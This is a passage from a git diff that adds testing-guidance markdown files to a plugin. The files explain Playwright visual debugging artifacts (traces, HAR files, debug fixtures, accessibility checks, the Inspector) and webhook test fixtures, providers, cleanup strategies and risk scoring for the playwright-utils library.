+Fast feedback loops and transparent debugging artifacts are critical for maintaining test reliability and developer confidence. Visual debugging tools (trace viewers, screenshots, videos, HAR files) turn cryptic test failures into actionable insights, reducing triage time from hours to minutes.
+
+## Rationale
+
+**The Problem**: CI failures often provide minimal context—a timeout, a selector mismatch, or a network error—forcing developers to reproduce issues locally (if they can). This wastes time and discourages test maintenance.
+
+**The Solution**: Capture rich debugging artifacts **only on failure** to balance storage costs with diagnostic value. Modern tools like Playwright Trace Viewer, Cypress Debug UI, and HAR recordings provide interactive, time-travel debugging that reveals exactly what the test saw at each step.
+
+**Why This Matters**:
+
+- Reduces failure triage time by 80-90% (visual context vs logs alone)
+- Enables debugging without local reproduction
+- Improves test maintenance confidence (clear failure root cause)
+- Catches timing/race conditions that are hard to reproduce locally
+
+## Pattern Examples
+
+### Example 1: Playwright Trace Viewer Configuration (Production Pattern)
+
+**Context**: Capture traces for failures and retries so flaky runs can be compared directly. Prefer `retain-on-failure-and-retries` as the default policy so failed retries can be compared with passing runs.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts
+import { defineConfig } from '@playwright/test';
+
+export default defineConfig({
+  use: {
+    // Visual debugging artifacts (best signal for flaky triage)
+    trace: 'retain-on-failure-and-retries', // Keep every failed attempt
+    screenshot: 'only-on-failure', // Not on success
+    video: 'retain-on-failure', // Delete on pass
+
+    // Context for debugging
+    baseURL: process.env.BASE_URL || 'http://localhost:3000',
+
+    // Timeout context
+    actionTimeout: 15_000, // 15s for clicks/fills
+    navigationTimeout: 30_000, // 30s for page loads
+  },
+
+  // CI-specific artifact retention
+  reporter: [
+    ['html', { outputFolder: 'playwright-report', open: 'never' }],
+    ['junit', { outputFile: 'results.xml' }],
+    ['list'], // Console output
+  ],
+
+  // Failure handling
+  retries: process.env.CI ? 2 : 0, // Retry in CI to capture trace
+  workers: process.env.CI ? 1 : undefined,
+});
+```
+
+**Opening and Using Trace Viewer**:
+
+```bash
+# After test failure in CI, download trace artifact
+# Then inspect locally:
+npx playwright trace open path/to/trace.zip
+
+# Filter to the failing expectation or action from the terminal
+npx playwright trace actions path/to/trace.zip --grep="expect"
+npx playwright trace action path/to/trace.zip 9
+npx playwright trace snapshot path/to/trace.zip 9 --name after
+
+# Or serve trace viewer:
+npx playwright show-report
+```
+
+**Key Features to Use in Trace Viewer**:
+
+1. **Timeline**: See each action (click, navigate, assertion) with timing
+2. **Snapshots**: Hover over timeline to see DOM state at that moment
+3. **Network Tab**: Inspect all API calls, headers, payloads, timing
+4. **Console Tab**: View console.log/error messages
+5. **Source Tab**: See test code with execution markers
+6. **Metadata**: Browser, OS, test duration, screenshots
+
+**Why This Works**:
+
+- `retain-on-failure-and-retries` preserves enough history to compare the failing retry with a passing run
+- Screenshots + video give visual context without trace overhead
+- Interactive timeline makes timing issues obvious (race conditions, slow API)
+
+---
+
+### Example 2: HAR File Recording for Network Debugging
+
+**Context**: Capture all network activity for reproducible API debugging
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-with-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test.describe('Checkout Flow with HAR Recording', () => {
+  test('should complete payment with full network capture', async ({ page, context }) => {
+    // Start HAR recording BEFORE navigation
+    await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+      url: '**/api/**', // Only capture API calls
+      update: true, // Update HAR if file exists
+    });
+
+    await page.goto('/checkout');
+
+    // Interact with page
+    await page.getByTestId('payment-method').selectOption('credit-card');
+    await page.getByTestId('card-number').fill('4242424242424242');
+    await page.getByTestId('submit-payment').click();
+
+    // Wait for payment confirmation
+    await expect(page.getByTestId('success-message')).toBeVisible();
+
+    // HAR file saved to fixtures/checkout.har
+    // Contains all network requests/responses for replay
+  });
+});
+```
+
+**Using HAR for Deterministic Mocking**:
+
+```typescript
+// tests/e2e/checkout-replay-har.spec.ts
+import { test, expect } from '@playwright/test';
+import path from 'path';
+
+test('should replay checkout flow from HAR', async ({ page, context }) => {
+  // Replay network from HAR (no real API calls)
+  await context.routeFromHAR(path.join(__dirname, '../fixtures/checkout.har'), {
+    url: '**/api/**',
+    update: false, // Read-only mode
+  });
+
+  await page.goto('/checkout');
+
+  // Same test, but network responses come from HAR file
+  await page.getByTestId('payment-method').selectOption('credit-card');
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- **`update: true`** records new HAR or updates existing (for flaky API debugging)
+- **`update: false`** replays from HAR (deterministic, no real API)
+- Filter by URL pattern (`**/api/**`) to avoid capturing static assets
+- HAR files are human-readable JSON (easy to inspect/modify)
+
+**When to Use HAR**:
+
+- Debugging flaky tests caused by API timing/responses
+- Creating deterministic mocks for integration tests
+- Analyzing third-party API behavior (Stripe, Auth0)
+- Reproducing production issues locally (record HAR in staging)
+
+---
+
+### Example 3: Custom Artifact Capture (Console Logs + Network on Failure)
+
+**Context**: Capture additional debugging context automatically on test failure
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/debug-fixture.ts
+import { test as base, type Request } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+type DebugFixture = {
+  captureDebugArtifacts: () => Promise<void>;
+};
+
+export const test = base.extend<DebugFixture>({
+  captureDebugArtifacts: async ({ page }, use, testInfo) => {
+    await use(async () => {
+      // This function can be called manually in tests
+      // But it also runs automatically on failure via afterEach
+    });
+
+    // After test completes, save artifacts if failed
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const artifactDir = path.join(testInfo.outputDir, 'debug-artifacts');
+      fs.mkdirSync(artifactDir, { recursive: true });
+
+      const consoleLogs = (await page.consoleMessages()).map((msg) => `[${msg.type()} @ ${msg.timestamp().toISOString()}] ${msg.text()}`);
+      const pageErrors = (await page.pageErrors()).map((error) => ({
+        name: error.name,
+        message: error.message,
+        stack: error.stack,
+      }));
+      const networkRequests = await Promise.all(
+        (await page.requests()).map(async (request: Request) => {
+          const response = await request.response();
+          return {
+            url: request.url(),
+            method: request.method(),
+            status: response?.status() ?? 0,
+          };
+        }),
+      );
+
+      // Save console logs
+      fs.writeFileSync(path.join(artifactDir, 'console.log'), consoleLogs.join('\n'), 'utf-8');
+
+      // Save page errors
+      fs.writeFileSync(path.join(artifactDir, 'page-errors.json'), JSON.stringify(pageErrors, null, 2), 'utf-8');
+
+      // Save network summary
+      fs.writeFileSync(path.join(artifactDir, 'network.json'), JSON.stringify(networkRequests, null, 2), 'utf-8');
+
+      console.log(`Debug artifacts saved to: ${artifactDir}`);
+    }
+  },
+});
+```
+
+**Usage in Tests**:
+
+```typescript
+// tests/e2e/payment-with-debug.spec.ts
+import { test, expect } from '../support/fixtures/debug-fixture';
+
+test('payment flow captures debug artifacts on failure', async ({ page, captureDebugArtifacts }) => {
+  await page.goto('/checkout');
+
+  // Test will automatically capture console + network on failure
+  await page.getByTestId('submit-payment').click();
+  await expect(page.getByTestId('success-message')).toBeVisible({ timeout: 5000 });
+
+  // If this fails, console.log and network.json saved automatically
+});
+```
+
+**CI Integration (GitHub Actions)**:
+
+```yaml
+# .github/workflows/e2e.yml
+name: E2E Tests with Artifacts
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Run Playwright tests
+        run: npm run test:e2e
+        continue-on-error: true # Capture artifacts even on failure
+
+      - name: Upload test artifacts on failure
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-artifacts
+          path: |
+            test-results/
+            playwright-report/
+          retention-days: 30
+```
+
+**Key Points**:
+
+- Fixtures automatically capture context without polluting test code
+- Only saves artifacts on failure (storage-efficient)
+- CI uploads artifacts for post-mortem analysis
+- `continue-on-error: true` ensures artifact upload even when tests fail
+
+---
+
+### Example 4: Accessibility Debugging Integration (axe-core in Trace Viewer)
+
+**Context**: Catch accessibility regressions during visual debugging
+
+**Implementation**:
+
+```typescript
+// playwright/support/fixtures/a11y-fixture.ts
+import { test as base } from '@playwright/test';
+import AxeBuilder from '@axe-core/playwright';
+
+type A11yFixture = {
+  checkA11y: () => Promise<void>;
+};
+
+export const test = base.extend<A11yFixture>({
+  checkA11y: async ({ page }, use) => {
+    await use(async () => {
+      // Run axe accessibility scan
+      const results = await new AxeBuilder({ page }).analyze();
+
+      // Attach results to test report (visible in trace viewer)
+      if (results.violations.length > 0) {
+        console.log(`Found ${results.violations.length} accessibility violations:`);
+        results.violations.forEach((violation) => {
+          console.log(`- [${violation.impact}] ${violation.id}: ${violation.description}`);
+          console.log(`  Help: ${violation.helpUrl}`);
+        });
+
+        throw new Error(`Accessibility violations found: ${results.violations.length}`);
+      }
+    });
+  },
+});
+```
+
+**Usage with Visual Debugging**:
+
+```typescript
+// tests/e2e/checkout-a11y.spec.ts
+import { test, expect } from '../support/fixtures/a11y-fixture';
+
+test('checkout page is accessible', async ({ page, checkA11y }) => {
+  await page.goto('/checkout');
+
+  // Verify page loaded
+  await expect(page.getByRole('heading', { name: 'Checkout' })).toBeVisible();
+
+  // Run accessibility check
+  await checkA11y();
+
+  // If violations found, test fails and trace captures:
+  // - Screenshot showing the problematic element
+  // - Console log with violation details
+  // - Network tab showing any failed resource loads
+});
+```
+
+**Trace Viewer Benefits**:
+
+- **Screenshot shows visual context** of accessibility issue (contrast, missing labels)
+- **Console tab shows axe-core violations** with impact level and helpUrl
+- **DOM snapshot** allows inspecting ARIA attributes at failure point
+- **Network tab** reveals if icon fonts or images failed (common a11y issue)
+
+**Cypress Equivalent**:
+
+```javascript
+// cypress/support/commands.ts
+import 'cypress-axe';
+
+Cypress.Commands.add('checkA11y', (context = null, options = {}) => {
+  cy.injectAxe(); // Inject axe-core
+  cy.checkA11y(context, options, (violations) => {
+    if (violations.length) {
+      cy.task('log', `Found ${violations.length} accessibility violations`);
+      violations.forEach((violation) => {
+        cy.task('log', `- [${violation.impact}] ${violation.id}: ${violation.description}`);
+      });
+    }
+  });
+});
+
+// tests/e2e/checkout-a11y.cy.ts
+describe('Checkout Accessibility', () => {
+  it('should have no a11y violations', () => {
+    cy.visit('/checkout');
+    cy.injectAxe();
+    cy.checkA11y();
+    // On failure, Cypress UI shows:
+    // - Screenshot of page
+    // - Console log with violation details
+    // - Network tab with API calls
+  });
+});
+```
+
+**Key Points**:
+
+- Accessibility checks integrate seamlessly with visual debugging
+- Violations are captured in trace viewer/Cypress UI automatically
+- Provides actionable links (helpUrl) to fix issues
+- Screenshots show visual context (contrast, layout)
+
+---
+
+### Example 5: Time-Travel Debugging Workflow (Playwright Inspector)
+
+**Context**: Debug tests interactively with step-through execution
+
+**Implementation**:
+
+```typescript
+// tests/e2e/checkout-debug.spec.ts
+import { test, expect } from '@playwright/test';
+
+test('debug checkout flow step-by-step', async ({ page }) => {
+  // Set breakpoint by uncommenting this:
+  // await page.pause()
+
+  await page.goto('/checkout');
+
+  // Use Playwright Inspector to:
+  // 1. Step through each action
+  // 2. Inspect DOM at each step
+  // 3. View network calls per action
+  // 4. Take screenshots manually
+
+  await page.getByTestId('payment-method').selectOption('credit-card');
+
+  // Pause here to inspect form state
+  // await page.pause()
+
+  await page.getByTestId('card-number').fill('4242424242424242');
+  await page.getByTestId('submit-payment').click();
+
+  await expect(page.getByTestId('success-message')).toBeVisible();
+});
+```
+
+**Running with Inspector**:
+
+```bash
+# Open Playwright Inspector (GUI debugger)
+npx playwright test --debug
+
+# Or use headed mode with slowMo
+npx playwright test --headed --slow-mo=1000
+
+# Debug specific test
+npx playwright test checkout-debug.spec.ts --debug
+
+# Set environment variable for persistent debugging
+PWDEBUG=1 npx playwright test
+```
+
+**Inspector Features**:
+
+1. **Step-through execution**: Click "Next" to execute one action at a time
+2. **DOM inspector**: Hover over elements to see selectors
+3. **Network panel**: See API calls with timing
+4. **Console panel**: View console.log output
+5. **Pick locator**: Click element in browser to get selector
+6. **Record mode**: Record interactions to generate test code
+
+**Common Debugging Patterns**:
+
+```typescript
+// Pattern 1: Debug selector issues
+test('debug selector', async ({ page }) => {
+  await page.goto('/dashboard');
+  await page.pause(); // Inspector opens
+
+  // In Inspector console, test selectors:
+  // page.getByTestId('user-menu') ✅
+  // page.getByRole('button', { name: 'Profile' }) ✅
+  // page.locator('.btn-primary') ❌ (fragile)
+});
+
+// Pattern 2: Debug timing issues
+test('debug network timing', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Set up network listener BEFORE interaction
+  const responsePromise = page.waitForResponse('**/api/users');
+  await page.getByTestId('load-users').click();
+
+  await page.pause(); // Check network panel for timing
+
+  const response = await responsePromise;
+  expect(response.status()).toBe(200);
+});
+
+// Pattern 3: Debug state changes
+test('debug state mutation', async ({ page }) => {
+  await page.goto('/cart');
+
+  // Check initial state
+  await expect(page.getByTestId('cart-count')).toHaveText('0');
+
+  await page.pause(); // Inspect DOM
+
+  await page.getByTestId('add-to-cart').click();
+
+  await page.pause(); // Inspect DOM again (compare state)
+
+  await expect(page.getByTestId('cart-count')).toHaveText('1');
+});
+```
+
+**Key Points**:
+
+- `page.pause()` opens Inspector at that exact moment
+- Inspector shows DOM state, network activity, console at pause point
+- "Pick locator" feature helps find robust selectors
+- Record mode generates test code from manual interactions
+
+---
+
+## Visual Debugging Checklist
+
+Before deploying tests to CI, ensure:
+
+- [ ] **Artifact configuration**: `trace: 'retain-on-failure-and-retries'`, `screenshot: 'only-on-failure'`, `video: 'retain-on-failure'`
+- [ ] **CI artifact upload**: GitHub Actions/GitLab CI configured to upload `test-results/` and `playwright-report/`
+- [ ] **HAR recording**: Set up for flaky API tests (record once, replay deterministically)
+- [ ] **Custom debug fixtures**: Console logs + network summary captured on failure
+- [ ] **Accessibility integration**: axe-core violations visible in trace viewer
+- [ ] **Trace viewer docs**: README explains how to open traces locally (`npx playwright trace open`)
+- [ ] **Inspector workflow**: Document `--debug` flag for interactive debugging
+- [ ] **Storage optimization**: Artifacts deleted after 30 days (CI retention policy)
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (initial setup), `*ci` (artifact upload), `*test-review` (validate artifact config)
+- **Related fragments**: `playwright-config.md` (artifact configuration), `ci-burn-in.md` (CI artifact upload), `test-quality.md` (debugging best practices)
+- **Tools**: Playwright Trace Viewer, Cypress Debug UI, axe-core, HAR files
+
+_Source: Playwright official docs, Murat testing philosophy (visual debugging manifesto), enterprise production debugging patterns_
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-module-setup.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-module-setup.md
new file mode 100644
index 0000000..9835986
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-module-setup.md
@@ -0,0 +1,122 @@
+# Webhook Module Setup
+
+## Principle
+
+Wire the provider once in a central fixtures file using the `webhookProviderFixture + webhookFixture + mergeTests` pattern. Tests that request `webhookRegistry` get automatic setup and teardown; tests that don't pay nothing (Playwright lazy fixture evaluation).
+
+## Fixture Wiring Pattern
+
+### WireMock Provider (recommended for most setups)
+
+The WireMock provider works with any backend that implements the `/__admin/requests` API format — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+// playwright/support/merged-fixtures.ts
+import { test as base, mergeTests } from '@playwright/test';
+import { test as webhookFixture } from '@seontechnologies/playwright-utils/webhook/fixtures';
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+// Lazy-initialized by Playwright — no cost for tests that don't request webhookRegistry.
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+
+const test = mergeTests(
+  base,
+  // ...your other fixtures...
+  webhookFixture,
+  webhookProviderFixture,
+);
+
+// Use matched-only cleanup project-wide: each test only deletes the webhooks it
+// matched, so a parallel worker's teardown cannot wipe the shared journal while
+// another test is still mid-flight (fullyParallel: true race condition).
+test.use({ webhookConfig: { cleanupStrategy: 'matched-only' } });
+
+export { test };
+```
+
+This is the exact pattern used in the playwright-utils E2E suite (`playwright/support/merged-fixtures.ts`).
+
+### MockServer Provider
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+### Mockoon Provider
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset for explicit cleanup
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## Cleanup Strategy Decision
+
+| Strategy                 | Behaviour                                                                            | When to choose                                                                                                       |
+| ------------------------ | ------------------------------------------------------------------------------------ | -------------------------------------------------------------------------------------------------------------------- |
+| `'full-reset'` (default) | Calls `provider.resetJournal()` — wipes the entire mock server journal               | Safe only for serial execution or when each worker has an isolated provider instance                                 |
+| `'matched-only'`         | Calls `provider.deleteById(id)` for each webhook matched by `waitFor`/`waitForCount` | Required for `fullyParallel: true` with a shared journal **when the provider supports `deleteById`** (e.g. WireMock) |
+
+**The race condition under `fullyParallel: true`**: Worker A finishes and calls `resetJournal()`. Worker B is mid-poll waiting for its webhook. Worker A's reset just deleted Worker B's webhook — the poll times out with `WebhookTimeoutError`. Use `matched-only` to avoid this — but only when the provider supports `deleteById`.
+
+**MockServer and Mockoon limitation**: Neither supports `deleteById` — their implementations are no-ops. The `startedAt` timestamp filter isolates _reads_ inside `waitFor`/`waitForCount`, but `cleanup()` with `full-reset` still calls `resetJournal()`, which wipes the entire journal. This means the teardown race exists for these providers too under `fullyParallel: true`. For parallel suites with MockServer or Mockoon, either run serially (`workers: 1`) or provision an isolated mock server instance per worker.
+
+## Fixture Lifecycle
+
+The fixture calls these in order:
+
+1. `provider.setup?.()` — optional health check or stub registration
+2. Tests run with `webhookRegistry` available
+3. `registry.cleanup()` — deletes matched webhooks (`matched-only`) or resets journal (`full-reset`)
+4. `provider.teardown?.()` — optional resource cleanup
+
+Both cleanup and teardown failures are caught and logged as warnings — they don't mask actual test failures.
+
+## WebhookRegistryConfig Options
+
+```typescript
+type WebhookRegistryConfig = {
+  defaultTimeout?: number; // default: 30000 ms
+  defaultInterval?: number; // default: 1000 ms
+  cleanupStrategy?: 'matched-only' | 'full-reset'; // default: 'full-reset'
+};
+```
+
+## Related Fragments
+
+- `webhook-testing-fundamentals.md` — Why webhook tests are hard
+- `webhook-template-matchers.md` — Template building and matcher patterns
+- `webhook-providers.md` — WireMock, MockServer, Mockoon, custom provider details
+- `fixtures-composition.md` — mergeTests pattern
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-providers.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-providers.md
new file mode 100644
index 0000000..15eac70
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-providers.md
@@ -0,0 +1,155 @@
+# Webhook Provider Patterns
+
+## Principle
+
+Three built-in providers ship with playwright-utils. Each wraps a different mock server API. For any backend not covered, implement the `WebhookProvider` interface. The registry only cares about the contract — not the backend technology.
+
+## WireMockWebhookProvider
+
+Uses `GET /__admin/requests` to fetch the webhook log and `DELETE /__admin/requests` to reset. Supports `deleteById` for `matched-only` cleanup.
+
+**Works with any backend implementing the `/__admin/requests` format** — not just actual WireMock. The playwright-utils sample app's Express backend uses this exact format.
+
+```typescript
+import { WireMockWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+import { API_URL } from '../config/local.config';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: WireMockWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    const provider = new WireMockWebhookProvider(API_URL, request);
+    await use(provider);
+  },
+});
+```
+
+Supports both cleanup strategies. Use `matched-only` when running `fullyParallel: true`.
+
+## MockServerWebhookProvider
+
+Uses `PUT /mockserver/retrieve` to fetch logs with client-side `since` filtering.
+
+**Limitation**: `deleteById` is a no-op — MockServer does not support deleting individual log entries by ID. The `startedAt` timestamp filter handles per-test isolation. Use `full-reset` for explicit journal cleanup.
+
+```typescript
+import { MockServerWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockServerWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockServerWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// MockServer has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+## MockoonWebhookProvider
+
+Uses `GET /mockoon-admin/logs` to fetch logs. The admin API is enabled by default in `@mockoon/cli`. Default log limit is 100 entries — increase with `--max-transaction-logs` if your suite generates more.
+
+**Limitation**: `deleteById` is a no-op for the same reason as MockServer. Use `full-reset`.
+
+```typescript
+import { MockoonWebhookProvider } from '@seontechnologies/playwright-utils/webhook';
+
+const webhookProviderFixture = base.extend<{
+  webhookProvider: MockoonWebhookProvider;
+}>({
+  webhookProvider: async ({ request }, use) => {
+    await use(new MockoonWebhookProvider(API_URL, request));
+  },
+});
+
+const test = mergeTests(base, /* ...other fixtures... */ webhookFixture, webhookProviderFixture);
+
+// Mockoon has no delete-by-ID on log entries — use full-reset
+test.use({ webhookConfig: { cleanupStrategy: 'full-reset' } });
+```
+
+Start Mockoon with an increased log limit if needed:
+
+```bash
+mockoon-cli start --data ./mockoon-config.json --max-transaction-logs 500
+```
+
+## Custom Provider
+
+Implement `WebhookProvider` for any backend that exposes a queryable request log:
+
+```typescript
+// support/providers/custom-webhook-provider.ts
+import type { WebhookProvider, ReceivedWebhook, WebhookQueryFilter } from '@seontechnologies/playwright-utils/webhook';
+import type { APIRequestContext } from '@playwright/test';
+
+export class CustomWebhookProvider implements WebhookProvider {
+  constructor(
+    private readonly baseUrl: string,
+    private readonly request: APIRequestContext,
+  ) {}
+
+  async getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]> {
+    const params = new URLSearchParams();
+    if (filter?.since) params.set('since', filter.since.toISOString());
+    if (filter?.method) params.set('method', filter.method);
+
+    const response = await this.request.get(`${this.baseUrl}/webhooks/received?${params}`);
+    const { webhooks } = await response.json();
+    return webhooks.map((w: Record<string, unknown>) => ({
+      id: String(w.id),
+      url: String(w.url),
+      method: String(w.method),
+      headers: (w.headers as Record<string, string>) ?? {},
+      body: w.body,
+      receivedAt: new Date(String(w.receivedAt)),
+    }));
+  }
+
+  async resetJournal(): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received`);
+  }
+
+  async deleteById(id: string): Promise<void> {
+    await this.request.delete(`${this.baseUrl}/webhooks/received/${id}`);
+  }
+
+  async getCount(): Promise<number> {
+    const response = await this.request.get(`${this.baseUrl}/webhooks/count`);
+    const { count } = await response.json();
+    return count as number;
+  }
+}
+```
+
+## WebhookProvider Interface
+
+```typescript
+interface WebhookProvider {
+  getReceivedWebhooks(filter?: WebhookQueryFilter): Promise<ReceivedWebhook[]>;
+  resetJournal(): Promise<void>;
+  deleteById(id: string): Promise<void>;
+  getCount(criteria?: Record<string, unknown>): Promise<number>;
+  removeByCriteria?(criteria: Record<string, unknown>): Promise<void>;
+  setup?(): Promise<void>; // optional — called before test
+  teardown?(): Promise<void>; // optional — called after test
+}
+```
+
+## Provider Comparison
+
+| Provider                  | deleteById | resetJournal | Parallel-safe (shared journal)      | Recommended strategy                                  | API endpoint           |
+| ------------------------- | ---------- | ------------ | ----------------------------------- | ----------------------------------------------------- | ---------------------- |
+| WireMockWebhookProvider   | ✅ Yes     | ✅ Yes       | ✅ Yes (`matched-only`)             | `matched-only`                                        | `/__admin/requests`    |
+| MockServerWebhookProvider | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockserver/retrieve` |
+| MockoonWebhookProvider    | ❌ No-op   | ✅ Yes       | ⚠️ No — serial or isolated instance | `full-reset` (serial or isolated provider per worker) | `/mockoon-admin/logs`  |
+| Custom                    | Depends    | Depends      | Depends on implementation           | Depends                                               | Your API               |
+
+## Related Fragments
+
+- `webhook-module-setup.md` — Full fixture wiring for each provider
+- `webhook-testing-fundamentals.md` — Cleanup strategy rationale
diff --git a/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-risk-guidance.md b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-risk-guidance.md
new file mode 100644
index 0000000..be8a20c
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-trace/resources/knowledge/webhook-risk-guidance.md
@@ -0,0 +1,114 @@
+# Webhook Testing Risk Guidance
+
+## Principle
+
+Webhook integration points are high-risk boundaries — they represent asynchronous side effects that cross service boundaries. A missing or malformed webhook means a downstream system never received its trigger. Default risk level: **P2 × I3** (medium probability, high impact = Risk Score 6) → must be covered by integration tests.
+
+## When Webhook Tests Are Required
+
+Webhook tests are **required** (not optional) when:
+
+| Condition                                                          | Rationale                                                              |
+| ------------------------------------------------------------------ | ---------------------------------------------------------------------- |
+| Application publishes events to external subscribers               | External consumers depend on correct payload shape and delivery timing |
+| Event-driven architecture (Kafka/SQS/event bus → webhook delivery) | The delivery pipeline is a risk boundary; delivery failures are silent |
+| Payment, order, or notification side effects                       | Business-critical; missed webhooks = missed transactions               |
+| Integration with third-party services via webhooks                 | Breaking payload changes won't surface in unit or component tests      |
+| Any async side effect that a consumer polls-on or reacts-to        | Polling tests (`recurse`) can mask webhook delivery failures entirely  |
+
+## Risk Scoring
+
+```
+Risk = Probability × Impact
+
+Probability factors (P1–P3):
+  P1 (low):    Webhook system is mature, well-tested, no history of failures
+  P2 (medium): Kafka pipeline, multiple consumers, new integrations
+  P3 (high):   New delivery mechanism, external third-party webhooks, no retry logic
+
+Impact factors (I1–I3):
+  I1 (low):    Non-critical notifications (e.g. audit logs)
+  I2 (medium): Feature-level side effects (e.g. search index updates)
+  I3 (high):   Business-critical events (payments, orders, compliance)
+```
+
+Default webhook integrations: **P2 × I3 = 6** → High → must be tested.
+
+## What a Complete Webhook Test Looks Like
+
+A complete webhook test covers:
+
+1. **Happy path**: Action fires → webhook arrives with correct payload
+2. **Sequential events (drain pattern)**: Preceding event drained before asserting on next
+3. **Parallel isolation**: Template scoped by entity ID — workers don't cross-contaminate
+4. **Timeout/error shape**: `WebhookTimeoutError` tested for negative path coverage
+5. **Cleanup verification**: Fixture auto-cleans; no leaked webhooks after test
+
+**Minimal complete example** (from playwright-utils E2E suite):
+
+```typescript
+// Template factories scoped by ID — parallel safety
+const movieCreated = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.created')
+    .matchField('event', 'movie.created')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+const movieDeleted = (movieId: number) =>
+  webhookTemplate<{ event: string; data: { id: number } }>('movie.deleted')
+    .matchField('event', 'movie.deleted')
+    .matchField('data.id', movieId)
+    .withTimeout(15_000)
+    .withInterval(500)
+    .build();
+
+test('movie deletion triggers a webhook with correct payload', async ({ authToken, addMovie, deleteMovie, webhookRegistry }) => {
+  const movie = generateMovieWithoutId();
+  const { body: createResponse } = await addMovie(authToken, movie);
+  const movieId = createResponse.data.id;
+
+  // Drain: consume the create webhook before testing the delete path
+  await webhookRegistry.waitFor(movieCreated(movieId));
+
+  await deleteMovie(authToken, movieId);
+  const webhook = await webhookRegistry.waitFor(movieDeleted(movieId));
+
+  expect(webhook.body).toMatchObject({
+    event: 'movie.deleted',
+    data: { id: movieId, name: movie.name },
+  });
+});
+```
+
+## Common Failure Patterns
+
+| Failure pattern                        | Root cause                                             | How the module addresses it                                                  |
+| -------------------------------------- | ------------------------------------------------------ | ---------------------------------------------------------------------------- |
+| Test passes but webhook never verified | Test asserted on status endpoint, not delivery         | `waitFor` forces assertion on actual webhook arrival                         |
+| Flaky under `fullyParallel: true`      | `full-reset` cleanup deletes another worker's webhooks | `matched-only` strategy — only matched webhooks are deleted                  |
+| Timeout gives no useful information    | No payload inspection on failure                       | `WebhookTimeoutError.receivedWebhooks` snapshot                              |
+| Template matches wrong test's webhook  | Template not scoped by entity ID                       | Template factories accept ID parameter; `matchPredicate` for complex scoping |
+| Test hangs at 30s default timeout      | Webhook not arriving; pipeline is slow                 | Use `withTimeout()` and `withInterval(500)` per template                     |
+| Journal grows unbounded                | No cleanup strategy configured                         | Configure `cleanupStrategy` in `webhookConfig`; fixture auto-cleans          |
+
+## Risk Mitigation Checklist (for TA assessment)
+
+When a system uses webhooks, verify the test suite covers:
+
+- [ ] Happy path for each event type that has an external subscriber
+- [ ] Template factories scoped by entity ID (parallel-safe)
+- [ ] Drain pattern applied to all sequential event assertions
